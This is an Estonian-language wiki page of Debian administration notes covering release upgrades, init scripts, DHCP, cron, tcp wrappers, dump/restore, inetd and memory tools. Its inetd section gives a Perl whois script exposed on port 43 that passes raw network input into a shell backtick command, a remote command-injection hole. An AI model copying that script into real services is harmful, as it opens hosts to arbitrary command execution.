* veenduda, et on olemas süsteemist varukoopia&lt;br /&gt;
* rakendada paketihaldusest uuendused vanale süsteemile&lt;br /&gt;
* teha seadistusfailidest koopia, et oleks mugav võrrelda&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc /root/etc-20110522-tootanud-lenny&lt;br /&gt;
 # cp -a /boot /root/boot-20110522-tootanud-lenny&lt;br /&gt;
&lt;br /&gt;
* eemaldada paketihaldusest mitte paigaldatud tarkvara, nt&lt;br /&gt;
&lt;br /&gt;
 # vmware-uninstall.pl&lt;br /&gt;
&lt;br /&gt;
* kasutada /etc/apt/sources.list faili sisuga, uuendamise ajal on security välja kommenteeritud&lt;br /&gt;
&lt;br /&gt;
 deb http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 deb-src http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 # deb http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 # deb-src http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get dist-upgrade -d&lt;br /&gt;
&lt;br /&gt;
* kasutada script'i esitatud küsimuste-vastuste-teadete salvestamiseks, mis töötab üldiselt nii&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
 Script started, file is /root/upgrade-squeezestep.script&lt;br /&gt;
 # date&lt;br /&gt;
 ...&lt;br /&gt;
 # Ctrl-D&lt;br /&gt;
 Script done, file is /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
script tööga kaasneb kaks protsessi&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep scr&lt;br /&gt;
 root      4960  0.0  0.0   5848   572 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
 root      4961  0.0  0.0   5852   460 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* käivitada script abil salvestamine&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* uuendada tuum ja udev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-image-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
Seejuures pakutakse ja võiks aktsepteerida plokkseadmete UUID väärtuste kasutamist.&lt;br /&gt;
&lt;br /&gt;
 # apt-get install udev&lt;br /&gt;
&lt;br /&gt;
* vajadusel paigaldada non-free firmware draiverid öeldes (nt bnx 10g seadme jaoks)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install firmware-linux-nonfree&lt;br /&gt;
&lt;br /&gt;
* veenduda, et /boot/grub/menu.lst algaadib uue tuumaga, /etc/fstab ühendab külge sobivad failisüsteemid ja alglaadida süsteem&lt;br /&gt;
* veenduda, et failisüsteemis on piisavalt ruumi, käivitada script ja paigaldada muud süsteemi uuendused&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/dist-upgrade-squeezestep.time -a ~/dist-upgrade-squeezestep.script&lt;br /&gt;
 # apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
* dash shelli kasutamiseks öeldakse&lt;br /&gt;
&lt;br /&gt;
 The system shell is the default command interpreter for shell scripts.&lt;br /&gt;
 &lt;br /&gt;
 Using dash as the system shell will improve the system's overall performance. It does not alter the shell&lt;br /&gt;
 presented to interactive users. Use dash as the default system shell (/bin/sh)? &lt;br /&gt;
&lt;br /&gt;
* dist-upgrade käigus üritatakse migreerida dependecy-based insserv käivitusskriptidele&lt;br /&gt;
&lt;br /&gt;
 The boot system is prepared to migrate to dependency-based sequencing. This is an irreversible step, but one that is recommended:   &lt;br /&gt;
 it allows the boot process to be optimized for speed and efficiency, and provides a more resilient framework for development.        &lt;br /&gt;
 &lt;br /&gt;
 A full rationale is detailed in /usr/share/doc/sysv-rc/README.Debian. If you choose not to migrate now, you can do so later by&lt;br /&gt;
 running &amp;quot;dpkg-reconfigure sysv-rc&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 Migrate legacy boot sequencing to dependency-based sequencing?&lt;br /&gt;
&lt;br /&gt;
* Uuendamisel tuleb kasutaja poolt muudetud seadistusfailid lasta uute nn package maintainer versiooniga üle kirjutada ja pärast muudatused käsitsi kohendada, nimekirja muudetud failidest näeb nt nii&lt;br /&gt;
&lt;br /&gt;
 # grep &amp;quot;Configuration file&amp;quot; dist-upgrade-squeezestep.script&lt;br /&gt;
 Configuration file `/etc/security/limits.conf'&lt;br /&gt;
 Configuration file `/etc/nagios/nrpe.cfg'&lt;br /&gt;
 Configuration file `/etc/sysctl.conf'&lt;br /&gt;
 Configuration file `/etc/rsyslog.conf'&lt;br /&gt;
 Configuration file `/etc/ssh/ssh_config'&lt;br /&gt;
 Configuration file `/etc/apache2/apache2.conf'&lt;br /&gt;
 Configuration file `/etc/apache2/ports.conf'&lt;br /&gt;
 Configuration file `/etc/joe/joerc'&lt;br /&gt;
 Configuration file `/etc/snmp/snmpd.conf'&lt;br /&gt;
 Configuration file `/etc/default/snmpd'&lt;br /&gt;
&lt;br /&gt;
kusjuures asendatud failst salvestatakse reeglina koopia nimele lisades lõppu .dpkg-old, nt&lt;br /&gt;
&lt;br /&gt;
 /etc/snmp/snmpd.conf.dpkg-old&lt;br /&gt;
&lt;br /&gt;
st ülekirjutatud failid leiab nt nii&lt;br /&gt;
&lt;br /&gt;
 # find /etc/ -name \*-old&lt;br /&gt;
&lt;br /&gt;
* vmware tools kompileerimise asemel on alternatiiv kasutada paketti open-vm-tools, kasutaja peab ise otsustama mida eelistada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install open-vm-tools&lt;br /&gt;
 ...&lt;br /&gt;
 Loading open-vm-tools modules: vmhgfsFATAL: Module vmhgfs not found.&lt;br /&gt;
  vmmemctlFATAL: Module vmmemctl not found.&lt;br /&gt;
  vmsyncFATAL: Module vmsync not found.&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # dpkg-reconfigure sysv-rc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda (kui uuendatavas süsteemis mingil põhjusel oli alglaadur paigaldamata paketihaldusest)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install grub-pc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # upgrade-from-grub-legacy&lt;br /&gt;
&lt;br /&gt;
* kasutuses mitte olevate pakettide eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # apt-get autoremove&lt;br /&gt;
&lt;br /&gt;
* eemaldada /etc/apt/sources.list failid security eest kommentaarid ja rakendada uuendused&lt;br /&gt;
* kohendada käsitsi paketihaldusest uuendamise käigus vaikeväärtustega asendatud seadistusfailid&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* kui uuendamine peatub seetõttu, et mõne nö ebaolulise programmi käivitusskript ei tööta, siis sobib vastav pakett eemaldada, kui ka see ei õnnestu, siis võiks proovida käivitusskripti sisu asendada millegagi, mis formaalselt toimib, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nagios3 &lt;br /&gt;
 #! /bin/sh&lt;br /&gt;
 exit 0;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 6 Squeeze &amp;gt; v. 7 Wheezy uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 6.0 -&amp;gt; v. 7.0) juhend asub aadresil http://www.debian.org/releases/stable/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Debian v. 7 Wheezy GRUB2 versiooni on number selline&lt;br /&gt;
&lt;br /&gt;
 GNU GRUB  version 1.99-27+deb7u1&lt;br /&gt;
&lt;br /&gt;
Kui 2015 kevadel öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 Hit http://ftp.ee.debian.org wheezy Release.gpg&lt;br /&gt;
 ...&lt;br /&gt;
 Reading package lists... Done                     &lt;br /&gt;
 W: There is no public key available for the following key IDs:&lt;br /&gt;
 7638D0442B90D010&lt;br /&gt;
&lt;br /&gt;
siis aitab&lt;br /&gt;
&lt;br /&gt;
 # apt-get install debian-keyring debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
===Debian v. 8 Jessie -&amp;gt; v. 9 Stretch uuendamine===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi uuendus toimub nagu tavaliselt, kuid viimaks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # aptitude search ?obsolete&lt;br /&gt;
 # aptitude purge ?obsolete&lt;br /&gt;
&lt;br /&gt;
MySQL -&amp;gt; MariaDB uuendus toimub üldiselt automaatselt, aga sobib lõpus öelda (vt ligipääs failist /etc/mysql/debian.cnf)&lt;br /&gt;
&lt;br /&gt;
 # mysql_upgrade -h localhost -u debian-sys-maint -pparool&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/releases/stretch/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MySQL_andmebaasi_kasutamine_operatsioonis%C3%BCsteemiga_Debian#Andmebaasi_uuendamine_MySQL_v._5.5_-.3E_MariaDB_v._10.1&lt;br /&gt;
&lt;br /&gt;
===insserv käivitussüsteemi kasutamine===&lt;br /&gt;
 &lt;br /&gt;
Debian Squeeze v. 6.0 kasutab nn System-V-like käivitusskripte, kusjuures nende tööd saab seadistada insserv tarkvaraga&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nfsen &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 set -e&lt;br /&gt;
 &lt;br /&gt;
 ### BEGIN INIT INFO&lt;br /&gt;
 # Provides:             nfsen&lt;br /&gt;
 # Required-Start:       $local_fs $remote_fs $network $time&lt;br /&gt;
 # Required-Stop:        $local_fs $remote_fs $network $time&lt;br /&gt;
 # Should-Start:         $syslog&lt;br /&gt;
 # Should-Stop:          $syslog&lt;br /&gt;
 # Default-Start:        2 3 4 5&lt;br /&gt;
 # Default-Stop:         0 1 6&lt;br /&gt;
 # Short-Description:    NfSen Server&lt;br /&gt;
 ### END INIT INFO&lt;br /&gt;
 &lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 case &amp;quot;$1&amp;quot; in&lt;br /&gt;
   start)&lt;br /&gt;
     echo &amp;quot;Starting NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen start&lt;br /&gt;
     ;;&lt;br /&gt;
   stop)&lt;br /&gt;
     echo &amp;quot;Stopping NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen stop&lt;br /&gt;
     ;;&lt;br /&gt;
   *)&lt;br /&gt;
      echo &amp;quot;Usage: /etc/init.d/nfsen {start|stop}&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
 esac&lt;br /&gt;
 exit 0&lt;br /&gt;
&lt;br /&gt;
/etc/rc3.d jt rc kataloogide alla tekivad lingid öeldes&lt;br /&gt;
&lt;br /&gt;
 # insserv nfsen&lt;br /&gt;
&lt;br /&gt;
Käivitusskriptile linkide eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # insserv -r nfsen&lt;br /&gt;
&lt;br /&gt;
Lisaks -n võtme lisamine ainult näitab, mis toimuks&lt;br /&gt;
&lt;br /&gt;
 # insserv -n -d nfsen&lt;br /&gt;
&lt;br /&gt;
Required-Start: rea lõppu lisades nt 'postgresql' tulemusena käivitatakse kõnealune programm peale PostgreSQL andmebaasi.&lt;br /&gt;
&lt;br /&gt;
Lisamaterjalid:&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts/DependencyBasedBoot&lt;br /&gt;
&lt;br /&gt;
===Dhcpd serveri kasutamine===&lt;br /&gt;
&lt;br /&gt;
ISC DHCP tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dhcp3-server&lt;br /&gt;
&lt;br /&gt;
DHCP serveri tööd juhib seadistusfail, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/dhcp/dhcpd.conf&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 shared-network auul {&lt;br /&gt;
   option domain-name &amp;quot;auul&amp;quot;;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 &lt;br /&gt;
   subnet 192.168.50.0 netmask 255.255.255.0 {&lt;br /&gt;
     range 192.168.50.200 192.168.50.224;&lt;br /&gt;
     option routers 192.168.50.10;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Lisaks näidatakse failis /etc/default/isc-dhcp-server millistel võrguseadmetel teenust pakutakse&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/isc-dhcp-server&lt;br /&gt;
 ...&lt;br /&gt;
 INTERFACES=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DHCP serveri käivitab skript&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/isc-dhcp-server stop|start&lt;br /&gt;
&lt;br /&gt;
===At tööd===&lt;br /&gt;
&lt;br /&gt;
Töö tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;quot;date &amp;gt;&amp;gt; /tmp/test.log&amp;quot; | at -t 201509250950&lt;br /&gt;
&lt;br /&gt;
Tööde nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atq&lt;br /&gt;
 10      Fri Sep 25 09:50:00 2015 a imre&lt;br /&gt;
&lt;br /&gt;
Tehtud tööd eemaldatakse automaatselt, tuleviku tööde eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atrm 10&lt;br /&gt;
&lt;br /&gt;
Töö sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ at -c 10&lt;br /&gt;
&lt;br /&gt;
===Cron tööd===&lt;br /&gt;
&lt;br /&gt;
Debiani cron töid juhivad sellised seadistusfailid&lt;br /&gt;
&lt;br /&gt;
* /etc/crontab&lt;br /&gt;
* /etc/cron.d - kataloogis sisalduvaid faile käsitletakse cron kirjeldusfailidena, /etc/crontab formaadis (st sisaldub user väli)&lt;br /&gt;
* /etc/cron.daily&lt;br /&gt;
* /etc/cron.hourly&lt;br /&gt;
* /etc/cron.monthly&lt;br /&gt;
* /etc/cron.weekly&lt;br /&gt;
* /var/spool/cron/kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* man cron&lt;br /&gt;
&lt;br /&gt;
===Anacron===&lt;br /&gt;
&lt;br /&gt;
Anacron http://anacron.sourceforge.net/ ...&lt;br /&gt;
&lt;br /&gt;
===tcp wrapper teegi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Paljud Debiani programmid on kompileeritud vastu libwrap teeki, mis tähendab, et nende tööd saab kontrollida /etc/hosts.allow ja /etc/hosts.deny failidest. Nt nrpe deemoni puhul selleks, et lubada ligipääsu võrgust 172.18.20.0/24 sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.allow&lt;br /&gt;
 nrpe: 172.18.20.0/24&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.deny&lt;br /&gt;
 nrpe: ALL&lt;br /&gt;
&lt;br /&gt;
Seadistustes tehtud muudatused kehtestuvad kohe, midagi ei ole vaja reloadida ega restartida. Seda kas programm on kompileeritud vastu librwap teeki saab küsida&lt;br /&gt;
&lt;br /&gt;
 # ldd /usr/sbin/nrpe | grep libwrap&lt;br /&gt;
 libwrap.so.0 =&amp;gt; /lib/libwrap.so.0 (0x00007fd00518b000)&lt;br /&gt;
&lt;br /&gt;
===dump ja restore kasutamine===&lt;br /&gt;
&lt;br /&gt;
Dump faili moodustamiseks&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/lvmkoitenimi&lt;br /&gt;
 # dump -0uf /tmp/failinimi.dump /dev/system/lvmkoitenimi&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Dumping /dev/system/lvmkoitenimi (an unlisted file system) to /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Label: none&lt;br /&gt;
  DUMP: Writing 10 Kilobyte records&lt;br /&gt;
  DUMP: mapping (Pass I) [regular files]&lt;br /&gt;
  DUMP: mapping (Pass II) [directories]&lt;br /&gt;
  DUMP: estimated 66671 blocks.&lt;br /&gt;
  DUMP: Volume 1 started with block 1 at: Tue Jul 12 23:45:47 2011&lt;br /&gt;
  DUMP: dumping (Pass III) [directories]&lt;br /&gt;
  DUMP: dumping (Pass IV) [regular files]&lt;br /&gt;
  DUMP: Closing /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Volume 1 completed at: Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Volume 1 66500 blocks (64.94MB)&lt;br /&gt;
  DUMP: Volume 1 took 0:00:01&lt;br /&gt;
  DUMP: Volume 1 transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: 66500 blocks (64.94MB) on 1 volume(s)&lt;br /&gt;
  DUMP: finished in 1 seconds, throughput 66500 kBytes/sec&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Date this dump completed:  Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Average transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: DUMP IS DONE&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -0 - tekitada full dump&lt;br /&gt;
* -u - kirjutada tegevuse kohta jälg /var/lib/dumpdates faili&lt;br /&gt;
* -f - salvestada dump näidatud faili&lt;br /&gt;
&lt;br /&gt;
Dump failist taastamiseks&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/system/lvmkoitenimi_2 /mnt/lvmkoitenimi_2&lt;br /&gt;
 # cd /mnt/lvmkoitenimi_2&lt;br /&gt;
 # restore -rf /tmp/failinimi.dump&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -r - taastada dumpis käesolevasse kataloogi, mis on kuhu on monteeritud tühi failisüsteem&lt;br /&gt;
* -f - kasutatav dump fail&lt;br /&gt;
&lt;br /&gt;
===inetd===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze paketihaldusest saab valida erinevaid inetd servereid, openbsd-inetd paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openbsd-inetd&lt;br /&gt;
&lt;br /&gt;
2011. aasta keskel v. 1.3.5 sisaldab libexec/Lookup.pm teeki, kuhu on sisse kirjutatud whois.cyberabuse.org serveri nimi, kuid see server ei paku enam sobival viisil teenust ning tulemuseks on, et NfSen liideses ei saa enam ip aadressidel teha päringuid. Üheks alternatiiviks on seadistada käima lokaalne whois teenus, nt ühendades 43/tcp port ja sellise Perli skripti sisend ja väljund kokku inetd abil&lt;br /&gt;
&lt;br /&gt;
 # cat /srv/data/nfsen/libexec/whois.pl &lt;br /&gt;
 #!/usr/bin/perl&lt;br /&gt;
 my $filename = &amp;lt;&amp;gt;;&lt;br /&gt;
 &lt;br /&gt;
 foreach $rida($filename) {&lt;br /&gt;
   $vastus=`/usr/bin/whois $rida`;&lt;br /&gt;
   print $vastus;&lt;br /&gt;
   last;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
ning kasutades /etc/inetd.conf seadisusfailis rida&lt;br /&gt;
&lt;br /&gt;
 43 stream tcp nowait nobody /srv/data/nfsen/libexec/whois.pl whois.pl&lt;br /&gt;
&lt;br /&gt;
whois päringute esitamise kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ whois -h 127.0.0.1 127.0.0.1&lt;br /&gt;
 .. &lt;br /&gt;
 NetRange:       127.0.0.0 - 127.255.255.255&lt;br /&gt;
 CIDR:           127.0.0.0/8&lt;br /&gt;
 OriginAS:       &lt;br /&gt;
 NetName:        SPECIAL-IPV4-LOOPBACK-IANA-RESERVED&lt;br /&gt;
 NetHandle:      NET-127-0-0-0-1&lt;br /&gt;
 Parent:         &lt;br /&gt;
 NetType:        IANA Special Use&lt;br /&gt;
&lt;br /&gt;
Kasutaja peab ise otsustama, kas talle selline lahendus sobib.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
http://www.telecom.otago.ac.nz/tele301/student_html/inetd-tcpwrappers.html&lt;br /&gt;
&lt;br /&gt;
===RPC portmapper===&lt;br /&gt;
&lt;br /&gt;
Debain Squeeze paketihaldusest saab valida erinevaid RPC portmap lahendusi, portmap paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install portmap&lt;br /&gt;
&lt;br /&gt;
Arvutis töötavate RPC teenuste nimekirja küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # rpcinfo -p hostname&lt;br /&gt;
&lt;br /&gt;
Tundub, et rpcbind toetab erinevalt portmap tarkvarast IPv6 protokolli.&lt;br /&gt;
&lt;br /&gt;
===Netlink socket===&lt;br /&gt;
&lt;br /&gt;
ip programm suhtleb tuumaga kasutades netlink socket'it, mis praktiliselt tähendab nt seda, et ip programmi saab kasutada chroot keskkonnast, kus pole /proc failisüsteemi külge monteeritud (erinevalt ifconfig programmist, mis kasutab /proc failisüsteemi).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Netlink&lt;br /&gt;
* http://www.linuxjournal.com/article/7356?page=0,0&lt;br /&gt;
&lt;br /&gt;
===Process accounting===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi Debian Squeeze vaikimisi tuum võimaldab koguda process accountiga andmeid. Seda sobib teha nt acct paketi tarkvara abil, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install acct&lt;br /&gt;
&lt;br /&gt;
Tulemusena paigaldatakse muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* /usr/bin/lastcomm&lt;br /&gt;
* /usr/bin/ac&lt;br /&gt;
* /usr/sbin/accton&lt;br /&gt;
* /usr/sbin/sa&lt;br /&gt;
* /usr/sbin/dump-utmp&lt;br /&gt;
* /usr/sbin/dump-acct&lt;br /&gt;
* /etc/cron.daily/acct&lt;br /&gt;
* /etc/init.d/acct&lt;br /&gt;
* /etc/default/acct&lt;br /&gt;
* /etc/cron.monthly/acct&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvutis töötavate protsesside kohta andmed kogunema hakkaksid, vaikimisi faili /var/log/account/pacct, tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # accton on | off&lt;br /&gt;
&lt;br /&gt;
Kogutud andmete esitamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # dump-acct /var/log/account/pacct | tail -n 5&lt;br /&gt;
 tail            |v3|     0.00|     0.00|     0.00|     0|     0|  4088.00|     0.00|   19856    19253|Mon Sep 19 20:34:56 2011&lt;br /&gt;
 cron            |v3|     0.00|     0.00|     1.00|     0|     0| 18832.00|     0.00|   19857     1138|Mon Sep 19 20:35:01 2011&lt;br /&gt;
 ssh             |v3|     0.00|     1.00|    75.00|     0|     0| 43192.00|     0.00|   19860    19633|Mon Sep 19 20:35:06 2011&lt;br /&gt;
 postgres        |v3|     0.00|     0.00|     2.00|   109|   113| 94272.00|     0.00|   19863     1395|Mon Sep 19 20:35:09 2011&lt;br /&gt;
 telnet          |v3|     0.00|     0.00|     3.00|  1000|  1000| 22680.00|     0.00|   19870    19865|Mon Sep 19 20:35:19 2011&lt;br /&gt;
&lt;br /&gt;
kus kuuendas tulbas on protsessi UID väärtus.&lt;br /&gt;
&lt;br /&gt;
===Passwords and encryption keys (Seahorse)===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mälu kasutamine===&lt;br /&gt;
&lt;br /&gt;
Arvuti mälu kasutamise kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 # free&lt;br /&gt;
              total       used       free     shared    buffers     cached&lt;br /&gt;
 Mem:        509172     501192       7980          0       3784     200248&lt;br /&gt;
 -/+ buffers/cache:     297160     212012&lt;br /&gt;
 Swap:      1048568      92568     956000&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* total (509172) - kogu RAM (miinus natuke kerneli tarvis)&lt;br /&gt;
* used (501192) - kokku kasutusel&lt;br /&gt;
* free (7980) - kokku vaba&lt;br /&gt;
* buffers (3784) - kasutusel mälust on nii palju kasutusel buffers all&lt;br /&gt;
* cached (200248) - kasutusel mälust on nii palju kasutusel failisüsteemi cache'ina&lt;br /&gt;
* teisel real on toodud arvutatud used ja free, mis vastavad sellele, kui buffers + cached oleks vastavalt maha lahutatud või juurde liidetud; selline vaade on õigustatud, kuna Linux tuum vajadusel kasutab failisüsteemi cache'iks olevat mälu ressurssi muuks tarbeks&lt;br /&gt;
&lt;br /&gt;
 297160 = 501192 - 3784 - 200248&lt;br /&gt;
 212012 = 7980 + 3784 + 200248&lt;br /&gt;
&lt;br /&gt;
st kasutatud mälu on tegelikult vähem kui näib ja vaba mälu on vastavalt samapalju rohkem kui näib.&lt;br /&gt;
&lt;br /&gt;
====Jõudlus====&lt;br /&gt;
&lt;br /&gt;
Arvuteid on valmistatud kasutes erinevaid tehnoloogiaid ja lisaks muudele erinevustele erinevad nad ka mälu kasutamise kiiruse poolest. Üks võimalus mälu kasutamise jõudlust hinnata nö sünteetilise testiga (st spetsiaalselt selleks tarbeks valmistatud programmo abil), nt&lt;br /&gt;
&lt;br /&gt;
* http://www.cs.virginia.edu/stream/&lt;br /&gt;
* https://github.com/gregs1104/stream-scaling&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb viimaselt lingilt kopeerida tar.gz fail, pakkida arhiiv lahti ning öelda&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling&lt;br /&gt;
&lt;br /&gt;
Tulemusena kompileeritakse programm, seejärel käivitatakse ning väljastatakse tulemus, nt&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling &lt;br /&gt;
 === CPU cache information ===&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Data)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Instruction)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 2 Cache: 6144K (Unified)&lt;br /&gt;
 ... &lt;br /&gt;
 Total CPU system cache: 25296896 bytes&lt;br /&gt;
 Suggested minimum array elements needed: 11498589&lt;br /&gt;
 Array elements used: 11498589 &lt;br /&gt;
 &lt;br /&gt;
 === CPU Core Summary ===&lt;br /&gt;
 processor       : 3&lt;br /&gt;
 model name      : Intel(R) Core(TM)2 Quad  CPU   Q9550  @ 2.83GHz&lt;br /&gt;
 cpu MHz         : 1998.000&lt;br /&gt;
 siblings        : 4&lt;br /&gt;
 &lt;br /&gt;
 === Testing up to 4 cores ===&lt;br /&gt;
 ...&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Copy:        4101.0477       0.0453       0.0449       0.0456&lt;br /&gt;
 Scale:       4121.7264       0.0451       0.0446       0.0458&lt;br /&gt;
 Add:         4982.5056       0.0557       0.0554       0.0560&lt;br /&gt;
 Triad:       5001.9268       0.0556       0.0552       0.0561&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Solution Validates&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 2&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       5002.6618       0.0566       0.0552       0.0610 &lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 3&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4892.7425       0.0577       0.0564       0.0607&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 4&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4784.1065       0.0582       0.0577       0.0589&lt;br /&gt;
&lt;br /&gt;
Mälu jõudlust on eriti mõtet hinnata selleks, et võrrelda olemasolevat süsteemi uuega, millega olemasolev kavatsetakse asendada.&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse haldamine===&lt;br /&gt;
&lt;br /&gt;
* IO&lt;br /&gt;
&lt;br /&gt;
 # ionice -c 3 -p 1919&lt;br /&gt;
&lt;br /&gt;
* CPU&lt;br /&gt;
&lt;br /&gt;
 # renice ...&lt;br /&gt;
&lt;br /&gt;
===Protsesside haldamine===&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside nimekirja nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
